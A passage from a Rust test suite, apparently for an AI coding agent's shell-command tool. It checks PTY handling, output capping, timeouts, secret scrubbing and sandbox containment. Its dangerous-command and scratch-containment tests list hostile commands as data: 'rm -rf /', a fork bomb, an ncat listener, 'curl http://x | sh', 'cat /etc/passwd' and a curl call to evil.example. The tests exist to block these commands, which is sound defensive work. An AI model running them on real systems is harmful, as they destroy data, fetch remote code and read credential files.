2531 .await;
2532 assert_eq!(
2533 outcome.status,
2534 crate::domain::ToolStatus::Error,
2535 "a plan-relative write from another cwd is not a plan write: {outcome:?}",
2536 );
2537 assert!(
2538 !project.join("sub/.mermaid/plans/x.md").exists(),
2539 "nothing may be written outside the plan path",
2540 );
2541
2542 let _ = std::fs::remove_dir_all(&project);
2543 }
2544
2545 #[tokio::test]
2546 async fn safe_command_runs_and_captures_output() {
2547 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2548 let outcome = ExecuteCommandTool
2551 .execute(serde_json::json!({"command": "echo 'hello world'"}), ctx)
2552 .await;
2553 assert!(outcome.is_success(), "expected success: {:?}", outcome);
2554 assert!(outcome.output().contains("hello world"));
2555 }
2556
2557 #[cfg(target_os = "linux")]
2562 #[tokio::test]
2563 async fn foreground_child_runs_in_new_session() {
2564 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2565 let outcome = ExecuteCommandTool
2566 .execute(
2567 serde_json::json!({
2568 "command": r#"test "$(awk '{print $6}' /proc/$$/stat)" = "$$" && echo NEW_SESSION_OK || echo "NOT_A_SESSION_LEADER sid=$(awk '{print $6}' /proc/$$/stat) pid=$$""#,
2569 }),
2570 ctx,
2571 )
2572 .await;
2573 assert!(outcome.is_success(), "expected success: {outcome:?}");
2574 assert!(
2575 outcome.output().contains("NEW_SESSION_OK"),
2576 "child shell is not a session leader: {}",
2577 outcome.output()
2578 );
2579 }
2580
2581 #[cfg(unix)]
2586 #[tokio::test]
2587 async fn pty_child_dev_tty_is_the_captured_pty() {
2588 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2589 let outcome = ExecuteCommandTool
2590 .execute(
2591 serde_json::json!({
2592 "command": "if echo CAPTURED_BY_PTY > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
2593 }),
2594 ctx,
2595 )
2596 .await;
2597 assert!(outcome.is_success(), "expected success: {outcome:?}");
2598 assert!(
2599 outcome.output().contains("TTY_OPEN_OK"),
2600 "PTY child should see a controlling terminal: {}",
2601 outcome.output()
2602 );
2603 assert!(
2604 outcome.output().contains("CAPTURED_BY_PTY"),
2605 "/dev/tty writes must land in the CAPTURE, not the user's terminal: {}",
2606 outcome.output()
2607 );
2608 }
2609
2610 #[cfg(unix)]
2616 #[tokio::test]
2617 async fn foreground_child_cannot_open_dev_tty() {
2618 if std::fs::File::open("/dev/tty").is_err() {
2619 eprintln!("skipped: no controlling terminal in test environment");
2620 return;
2621 }
2622 let (ctx, _rx) = pipes_ctx();
2623 let outcome = ExecuteCommandTool
2624 .execute(
2625 serde_json::json!({
2626 "command": "if echo x > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
2627 }),
2628 ctx,
2629 )
2630 .await;
2631 assert!(
2632 outcome.output().contains("TTY_OPEN_DENIED"),
2633 "session-detached child could still open /dev/tty: {}",
2634 outcome.output()
2635 );
2636 }
2637
2638 fn pipes_ctx() -> (
2640 crate::providers::ctx::ExecContext,
2641 tokio::sync::mpsc::Receiver<crate::providers::ctx::ProgressEvent>,
2642 ) {
2643 let mut config = crate::app::Config::default();
2644 config.safety.mode = crate::runtime::SafetyMode::FullAccess;
2645 config.exec.pty = Some(false);
2646 crate::providers::ctx::test_exec_context_with_config(
2647 TurnId(1),
2648 ToolCallId(1),
2649 std::env::temp_dir(),
2650 config,
2651 )
2652 }
2653
2654 #[cfg(unix)]
2655 #[tokio::test]
2656 async fn pty_child_sees_a_terminal_and_pipes_child_does_not() {
2657 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2659 let outcome = ExecuteCommandTool
2660 .execute(
2661 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; fi; tty"}),
2662 ctx,
2663 )
2664 .await;
2665 assert!(outcome.is_success(), "{outcome:?}");
2666 assert!(outcome.output().contains("IS_TTY"), "{}", outcome.output());
2667 assert!(
2668 outcome.output().contains("/dev/pts/") || outcome.output().contains("/dev/tty"),
2669 "tty should name the pts: {}",
2670 outcome.output()
2671 );
2672 let (ctx, _rx) = pipes_ctx();
2674 let outcome = ExecuteCommandTool
2675 .execute(
2676 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; else echo NOT_TTY; fi"}),
2677 ctx,
2678 )
2679 .await;
2680 assert!(outcome.output().contains("NOT_TTY"), "{}", outcome.output());
2681 }
2682
2683 #[cfg(unix)]
2684 #[tokio::test]
2685 async fn pty_output_is_ansi_clean_and_crlf_normalized() {
2686 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2687 let outcome = ExecuteCommandTool
2690 .execute(
2691 serde_json::json!({
2692 "command": r"printf '\033[31mRED\033[0m\nline2\n'",
2693 }),
2694 ctx,
2695 )
2696 .await;
2697 assert!(outcome.is_success(), "{outcome:?}");
2698 let out = outcome.output();
2699 assert!(out.contains("RED\nline2"), "clean joined lines: {out:?}");
2700 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
2701 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
2702 }
2703
2704 #[cfg(windows)]
2708 #[tokio::test]
2709 async fn pty_child_sees_a_console_and_pipes_child_does_not() {
2710 let probe = "powershell -NoProfile -Command [Console]::IsOutputRedirected";
2711 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2713 let outcome = ExecuteCommandTool
2714 .execute(serde_json::json!({ "command": probe }), ctx)
2715 .await;
2716 assert!(outcome.is_success(), "{outcome:?}");
2717 assert!(
2718 outcome.output().contains("False"),
2719 "ConPTY child must see a console: {}",
2720 outcome.output()
2721 );
2722 let (ctx, _rx) = pipes_ctx();
2724 let outcome = ExecuteCommandTool
2725 .execute(serde_json::json!({ "command": probe }), ctx)
2726 .await;
2727 assert!(outcome.is_success(), "{outcome:?}");
2728 assert!(
2729 outcome.output().contains("True"),
2730 "pipe child must see redirected stdout: {}",
2731 outcome.output()
2732 );
2733 }
2734
2735 #[cfg(windows)]
2740 #[tokio::test]
2741 async fn pty_output_is_ansi_clean_and_crlf_normalized_windows() {
2742 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2743 let outcome = ExecuteCommandTool
2744 .execute(
2745 serde_json::json!({ "command": "echo RED; echo line2" }),
2746 ctx,
2747 )
2748 .await;
2749 assert!(outcome.is_success(), "{outcome:?}");
2750 let out = outcome.output();
2751 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
2752 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
2753 let lines: Vec<&str> = out.lines().map(str::trim).collect();
2754 assert!(lines.contains(&"RED"), "RED line present: {out:?}");
2755 assert!(lines.contains(&"line2"), "line2 line present: {out:?}");
2756 }
2757
2758 #[test]
2759 fn strip_ansi_drops_escapes_and_normalizes_line_endings() {
2760 assert_eq!(strip_ansi("\u{1b}[31mRED\u{1b}[0m"), "RED");
2763 assert_eq!(strip_ansi("\u{1b}[2K\u{1b}[1Gline"), "line");
2764 assert_eq!(strip_ansi("\u{1b}]0;title\u{7}body"), "body");
2765 assert_eq!(strip_ansi("\u{1b}]8;;url\u{1b}\\link"), "link");
2766 assert_eq!(strip_ansi("\u{1b}=keypad"), "keypad");
2767 assert_eq!(strip_ansi("a\r\nb"), "a\nb");
2768 assert_eq!(strip_ansi("50%\r100%\r\n"), "50%\n100%\n");
2769 assert_eq!(strip_ansi("\u{1b}P1$r0m\u{1b}\\text"), "text");
2772 assert_eq!(strip_ansi("\u{1b}_payload\u{1b}\\ok"), "ok");
2773 assert_eq!(strip_ansi("\u{1b}Xsos\u{1b}\\a\u{1b}^pm\u{1b}\\b"), "ab");
2774 assert_eq!(strip_ansi("ab\u{8}c"), "ac");
2776 assert_eq!(strip_ansi("x\u{7}y"), "xy");
2777 assert_eq!(strip_ansi("a\n\u{8}b"), "a\nb");
2779 assert_eq!(strip_ansi("\u{8}b"), "b");
2780 assert_eq!(strip_ansi("plain text"), "plain text");
2782 assert_eq!(strip_ansi("x\u{1b}"), "x");
2784 assert_eq!(strip_ansi("x\u{1b}[31"), "x");
2785 assert_eq!(strip_ansi("x\u{1b}Pdangling"), "x");
2787 }
2788
2789 #[test]
2790 fn capped_capture_keeps_head_and_tail() {
2791 let mut c = CappedCapture::new(64);
2793 c.push(b"hello ");
2794 c.push(b"world");
2795 let (out, truncated) = c.finish();
2796 assert_eq!(out, "hello world");
2797 assert!(!truncated);
2798 let mut c = CappedCapture::new(20);
2800 c.push(b"AAAAAAAAAA");
2801 c.push(&[b'x'; 100]);
2802 c.push(b"BBBBBBBBBB");
2803 let (out, truncated) = c.finish();
2804 assert!(truncated);
2805 assert!(out.starts_with("AAAAAAAAAA"), "head kept: {out:?}");
2806 assert!(out.ends_with("BBBBBBBBBB"), "tail kept: {out:?}");
2807 assert!(out.contains("truncated"), "marker present: {out:?}");
2808 }
2809
2810 #[test]
2811 fn secret_env_names_reports_planted_secret() {
2812 temp_env::with_var("MERMAID_TEST_PLANTED_API_KEY", Some("v"), || {
2814 let names = secret_env_names();
2815 assert!(
2816 names.iter().any(|n| n == "MERMAID_TEST_PLANTED_API_KEY"),
2817 "planted secret name must be scrubbed: {names:?}"
2818 );
2819 assert!(!names.iter().any(|n| n == "PATH"));
2820 });
2821 }
2822
2823 #[test]
2824 fn harden_env_sets_git_terminal_prompt() {
2825 let mut cmd = Command::new("sh");
2826 harden_noninteractive_env(&mut cmd);
2827 let set = cmd
2828 .as_std()
2829 .get_envs()
2830 .any(|(k, v)| k == "GIT_TERMINAL_PROMPT" && v.is_some_and(|v| v == "0"));
2831 assert!(set, "GIT_TERMINAL_PROMPT=0 must be injected");
2832 }
2833
2834 #[tokio::test]
2835 async fn dangerous_command_blocked() {
2836 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2837 let outcome = ExecuteCommandTool
2838 .execute(serde_json::json!({"command": "rm -rf /"}), ctx)
2839 .await;
2840 let error = outcome.error_message().expect("expected error");
2841 assert!(error.contains("Dangerous"));
2842 }
2843
2844 #[tokio::test]
2845 async fn cancellation_aborts_long_running_command() {
2846 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2847 let token = ctx.token.clone();
2848 let handle = tokio::spawn(async move {
2855 ExecuteCommandTool
2856 .execute(serde_json::json!({"command": "sleep 30"}), ctx)
2857 .await
2858 });
2859 tokio::time::sleep(Duration::from_millis(30)).await;
2861 token.cancel();
2862 let start = Instant::now();
2863 let outcome = tokio::time::timeout(Duration::from_secs(15), handle)
2864 .await
2865 .expect("didn't hang")
2866 .expect("join");
2867 let elapsed = start.elapsed();
2868 assert!(outcome.was_cancelled());
2869 assert!(
2873 elapsed < Duration::from_secs(10),
2874 "cancellation took {:?} — far slower than expected (regression?)",
2875 elapsed
2876 );
2877 }
2878
2879 #[tokio::test]
2880 async fn timeout_honored() {
2881 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2882 let outcome = ExecuteCommandTool
2883 .execute(serde_json::json!({"command": "sleep 5", "timeout": 1}), ctx)
2884 .await;
2885 assert_eq!(outcome.status, crate::domain::ToolStatus::Error);
2886 let output = outcome.as_tool_message_content();
2887 assert!(output.contains("timed out"));
2888 assert!(output.contains("was killed"));
2889 assert!(output.contains("mode=\"background\""));
2890 }
2891
2892 #[cfg(not(target_os = "windows"))]
2897 #[tokio::test]
2898 async fn timeout_kills_process_tree() {
2899 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2900 let marker =
2902 std::env::temp_dir().join(format!("mermaid_timeout_pgid_{}.pid", std::process::id()));
2903 let _ = std::fs::remove_file(&marker);
2904 let command = format!(
2905 "sh -c 'echo $$ > {}; sleep 30' & sleep 30",
2906 marker.display()
2907 );
2908 let outcome = ExecuteCommandTool
2909 .execute(serde_json::json!({ "command": command, "timeout": 1 }), ctx)
2910 .await;
2911 assert_eq!(outcome.status, crate::domain::ToolStatus::Error);
2912
2913 let mut pid = None;
2916 for _ in 0..30 {
2917 if let Ok(s) = std::fs::read_to_string(&marker)
2918 && let Ok(p) = s.trim().parse::<u32>()
2919 {
2920 pid = Some(p);
2921 break;
2922 }
2923 tokio::time::sleep(Duration::from_millis(50)).await;
2924 }
2925 let pid = pid.expect("grandchild never recorded its pid");
2926
2927 let mut alive = true;
2929 for _ in 0..40 {
2930 if !process_running(pid).await {
2931 alive = false;
2932 break;
2933 }
2934 tokio::time::sleep(Duration::from_millis(50)).await;
2935 }
2936 let _ = std::fs::remove_file(&marker);
2937 assert!(!alive, "grandchild pid {pid} leaked past the timeout");
2938 }
2939
2940 #[cfg(not(target_os = "windows"))]
2941 #[tokio::test]
2942 async fn background_mode_returns_pid_log_and_detected_url() {
2943 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2944 let outcome = ExecuteCommandTool
2945 .execute(
2946 serde_json::json!({
2947 "command": "printf 'ready http://127.0.0.1:54321\\n'; exec sleep 30",
2948 "mode": "background",
2949 "startup_timeout_secs": 2,
2950 "ready_pattern": "ready"
2951 }),
2952 ctx,
2953 )
2954 .await;
2955
2956 assert!(
2957 outcome.is_success(),
2958 "expected background success: {:?}",
2959 outcome
2960 );
2961 let output = outcome.output().to_string();
2962 assert!(output.contains("Background command started"));
2963 assert!(output.contains("PID:"));
2964 assert!(output.contains("Log:"));
2965 assert!(output.contains("Ready: matched pattern"));
2966 assert!(output.contains("Detected URL: http://127.0.0.1:54321"));
2967
2968 if let Some(pid) = parse_pid(&output) {
2969 let _ = Command::new("kill").arg(pid.to_string()).status().await;
2970 }
2971 }
2972
2973 #[cfg(target_os = "windows")]
2974 #[tokio::test]
2975 async fn background_mode_returns_pid_and_log_on_windows() {
2976 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2977 let outcome = ExecuteCommandTool
2978 .execute(
2979 serde_json::json!({
2988 "command": "cmd /c echo ready; ping -n 60 127.0.0.1",
2989 "mode": "background",
2990 "startup_timeout_secs": 15,
2991 "ready_pattern": "ready"
2992 }),
2993 ctx,
2994 )
2995 .await;
2996
2997 assert!(
2998 outcome.is_success(),
2999 "expected background success on Windows: {:?}",
3000 outcome
3001 );
3002 let output = outcome.output().to_string();
3003 assert!(output.contains("Background command started"));
3004 assert!(output.contains("PID:"));
3005 assert!(output.contains("Ready: matched pattern"));
3006 assert!(
3008 outcome.metadata.process.is_some(),
3009 "background outcome must carry a ManagedProcess"
3010 );
3011
3012 if let Some(pid) = parse_pid(&output) {
3014 crate::utils::terminate_tree(pid, crate::utils::Grace::Graceful).await;
3015 }
3016 }
3017
3018 #[tokio::test]
3019 async fn ctrl_b_backgrounds_a_running_foreground_command() {
3020 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
3021 let background = ctx.background.clone();
3022 let command = if cfg!(target_os = "windows") {
3024 "ping -n 30 127.0.0.1"
3025 } else {
3026 "sleep 30"
3027 };
3028
3029 let canceller = tokio::spawn(async move {
3031 tokio::time::sleep(Duration::from_millis(300)).await;
3032 background.cancel();
3033 });
3034 let outcome = ExecuteCommandTool
3035 .execute(
3036 serde_json::json!({ "command": command, "timeout": 60 }),
3037 ctx,
3038 )
3039 .await;
3040 let _ = canceller.await;
3041
3042 assert!(
3043 outcome.is_success(),
3044 "backgrounding should yield success: {:?}",
3045 outcome
3046 );
3047 let output = outcome.output().to_string();
3048 assert!(output.contains("Moved to background"), "got: {output}");
3049 let process = outcome.metadata.process.clone();
3051 assert!(
3052 process.is_some(),
3053 "background outcome must carry a ManagedProcess"
3054 );
3055
3056 if let Some(p) = process {
3058 crate::utils::terminate_tree(p.pid, crate::utils::Grace::Graceful).await;
3059 }
3060 }
3061
3062 fn parse_pid(output: &str) -> Option<u32> {
3063 output
3064 .lines()
3065 .find_map(|line| line.strip_prefix("PID: "))
3066 .and_then(|pid| pid.trim().parse().ok())
3067 }
3068
3069 #[test]
3070 fn dangerous_detection_covers_known_shapes() {
3071 assert!(contains_dangerous_command("rm -rf /"));
3072 assert!(contains_dangerous_command(":(){ :|:& };:"));
3073 assert!(contains_dangerous_command("ncat -l 8080"));
3074 assert!(!contains_dangerous_command("ls -la"));
3075 assert!(!contains_dangerous_command("cargo build"));
3076 assert!(!contains_dangerous_command(
3077 r#"find . -type f ! -path "./.git/*" ! -path "./.mermaid/*" 2>/dev/null"#
3078 ));
3079 }
3080
3081 #[test]
3082 fn dangerous_detection_resists_substring_evasion() {
3083 assert!(contains_dangerous_command("RM -RF /"));
3086 assert!(contains_dangerous_command("rm -rf /"));
3087 assert!(contains_dangerous_command("echo hi; rm -rf /"));
3088 assert!(contains_dangerous_command("echo hi&&rm -rf /"));
3089 assert!(contains_dangerous_command("curl http://x | sh"));
3090 assert!(contains_dangerous_command("curl http://x|sh"));
3091 assert!(contains_dangerous_command("/bin/rm -rf /"));
3092 assert!(!contains_dangerous_command("bash build.sh"));
3094 assert!(!contains_dangerous_command("echo done > /dev/null"));
3095 assert!(!contains_dangerous_command("grep -rf patterns.txt src"));
3096 }
3097
3098 #[tokio::test]
3099 async fn read_capped_keeps_head_and_tail_on_overflow() {
3100 let mut data = Vec::new();
3102 data.extend_from_slice(b"HEAD_START");
3103 data.extend(std::iter::repeat_n(b'x', 5000));
3104 data.extend_from_slice(b"TAIL_ERROR_HERE");
3105 let (out, truncated) = read_capped(&data[..], 100, 10_000, None, None).await;
3106 assert!(truncated, "oversized output must be marked truncated");
3107 assert!(out.contains("HEAD_START"), "head must survive: {out}");
3108 assert!(out.contains("TAIL_ERROR_HERE"), "tail must survive: {out}");
3109 assert!(out.contains("elided"), "must mark the elision: {out}");
3110 }
3111
3112 #[tokio::test]
3113 async fn read_capped_small_output_is_verbatim() {
3114 let (out, truncated) = read_capped(&b"short output"[..], 100, 10_000, None, None).await;
3115 assert!(!truncated, "small output must not be truncated");
3116 assert_eq!(out, "short output");
3117 }
3118
3119 #[test]
3120 fn scratch_prover_accepts_only_provably_contained_commands() {
3121 let scratch = Path::new("/tmp/mermaid_scratch/proj/sess");
3122
3123 for cmd in [
3126 "ls",
3127 "ls -la",
3128 "mkdir out",
3129 "touch notes.txt",
3130 "cp a.txt sub/b.txt",
3131 "cat /tmp/mermaid_scratch/proj/sess/notes.txt",
3132 "rm -f old.log",
3133 ] {
3134 assert!(
3135 command_provably_in_scratch(cmd, scratch),
3136 "{cmd:?} should prove scratch-contained",
3137 );
3138 }
3139
3140 for cmd in [
3142 "", "cat ../secret", "cat /etc/passwd", "/bin/rm -rf notes.txt", "echo hi > out.txt", "ls; touch pwned", "true && touch pwned", "cat file | tee other", "cat $(pwd)/x", "cat `pwd`/x", "cat $HOME/x", "ls ~", "rm *", "cp -t/etc x", "tar --directory=/ x", "env VAR=/etc cmd", "curl https://evil.example/x", "type C:secret.txt", "copy C:\\evil x", "unclosed 'quote", ] {
3163 assert!(
3164 !command_provably_in_scratch(cmd, scratch),
3165 "{cmd:?} must NOT prove scratch-contained",
3166 );
3167 }
3168 }
3169
3170 #[test]
3171 fn classify_cwd_three_way_containment() {
3172 let base = std::env::temp_dir().join(format!("mermaid_cwd3_{}", std::process::id()));
3173 let _ = std::fs::remove_dir_all(&base);
3174 let project = base.join("project");
3175 let scratch = base.join("scratch");
3176 std::fs::create_dir_all(&project).unwrap();
3177 std::fs::create_dir_all(&scratch).unwrap();
3178 let scratch_real = std::fs::canonicalize(&scratch).unwrap();
3179 let outside = std::fs::canonicalize(&base).unwrap();
3180
3181 assert_eq!(
3183 classify_cwd(true, &project, Some(&scratch)),
3184 CwdContainment::Project
3185 );
3186 assert_eq!(
3189 classify_cwd(false, &scratch_real, Some(&scratch)),
3190 CwdContainment::Scratchpad
3191 );
3192 assert_eq!(
3194 classify_cwd(false, &scratch_real, None),
3195 CwdContainment::External
3196 );
3197 assert_eq!(
3199 classify_cwd(false, &outside, Some(&scratch)),
3200 CwdContainment::External
3201 );
3202 assert_eq!(
3204 classify_cwd(false, &scratch_real, Some(&base.join("missing"))),
3205 CwdContainment::External
3206 );
3207
3208 let _ = std::fs::remove_dir_all(&base);
3209 }
3210
3211 #[tokio::test]
3212 async fn scratch_cwd_is_not_escalated_to_external_directory() {
3213 let base = std::env::temp_dir().join(format!("mermaid_scwd_{}", std::process::id()));
3218 let _ = std::fs::remove_dir_all(&base);
3219 let project = base.join("project");
3220 let scratch = base.join("scratch");
3221 std::fs::create_dir_all(&project).unwrap();
3222 std::fs::create_dir_all(&scratch).unwrap();
3223
3224 let (tx, _rx) = tokio::sync::mpsc::channel(64);
3227 let mut config = crate::app::Config::default();
3228 config.safety.mode = crate::runtime::SafetyMode::ReadOnly;
3229 let mut ctx = crate::providers::ctx::ExecContext::new(
3230 tokio_util::sync::CancellationToken::new(),
3231 tx,
3232 ToolCallId(1),
3233 TurnId(1),
3234 project.clone(),
3235 std::sync::Arc::new(config),
3236 String::new(),
3237 None,
3238 None,
3239 None,
3240 crate::runtime::SafetyMode::ReadOnly,
3241 None,
3242 None,
3243 None,
3244 None,
3245 None,
3246 );
3247 ctx.scratchpad = Some(scratch.clone());
3248 let outcome = ExecuteCommandTool
3249 .execute(
3250 serde_json::json!({
3251 "command": "echo hi",
3252 "working_dir": scratch.display().to_string(),
3253 }),
3254 ctx,
3255 )
3256 .await;
3257 assert!(
3258 outcome.is_success(),
3259 "scratch cwd must not be escalated to ExternalDirectory: {outcome:?}",
3260 );
3261
3262 let _ = std::fs::remove_dir_all(&base);
3263 }
3264
3265 #[tokio::test]
3266 async fn child_env_carries_scratchpad_export() {
3267 let dir = std::env::temp_dir().join(format!("mermaid_env_{}", std::process::id()));
3270 std::fs::create_dir_all(&dir).unwrap();
3271 #[cfg(unix)]
3272 let probe = r#"printf %s "${MERMAID_SCRATCHPAD:-UNSET}""#;
3273 #[cfg(windows)]
3274 let probe = "if ($env:MERMAID_SCRATCHPAD) { Write-Output $env:MERMAID_SCRATCHPAD } else { Write-Output UNSET }";
3275
3276 let run = |scratchpad: Option<PathBuf>| {
3277 let dir = dir.clone();
3278 async move {
3279 let mut cmd = build_sandboxed_shell(probe, false, None);
3280 cmd.current_dir(&dir)
3281 .stdin(Stdio::null())
3282 .stdout(Stdio::piped())
3283 .stderr(Stdio::null())
3284 .env_remove(SCRATCHPAD_ENV_VAR);
3287 export_scratchpad_env(&mut cmd, scratchpad.as_deref());
3288 let out = cmd.output().await.expect("probe spawns");
3289 String::from_utf8_lossy(&out.stdout).trim().to_string()
3290 }
3291 };
3292
3293 let exported = run(Some(dir.clone())).await;
3294 assert_eq!(
3295 exported,
3296 dir.display().to_string(),
3297 "child must see the scratchpad path",
3298 );
3299 let absent = run(None).await;
3300 assert_eq!(absent, "UNSET", "no scratchpad -> no exported variable");
3301
3302 let _ = std::fs::remove_dir_all(&dir);
3303 }
3304}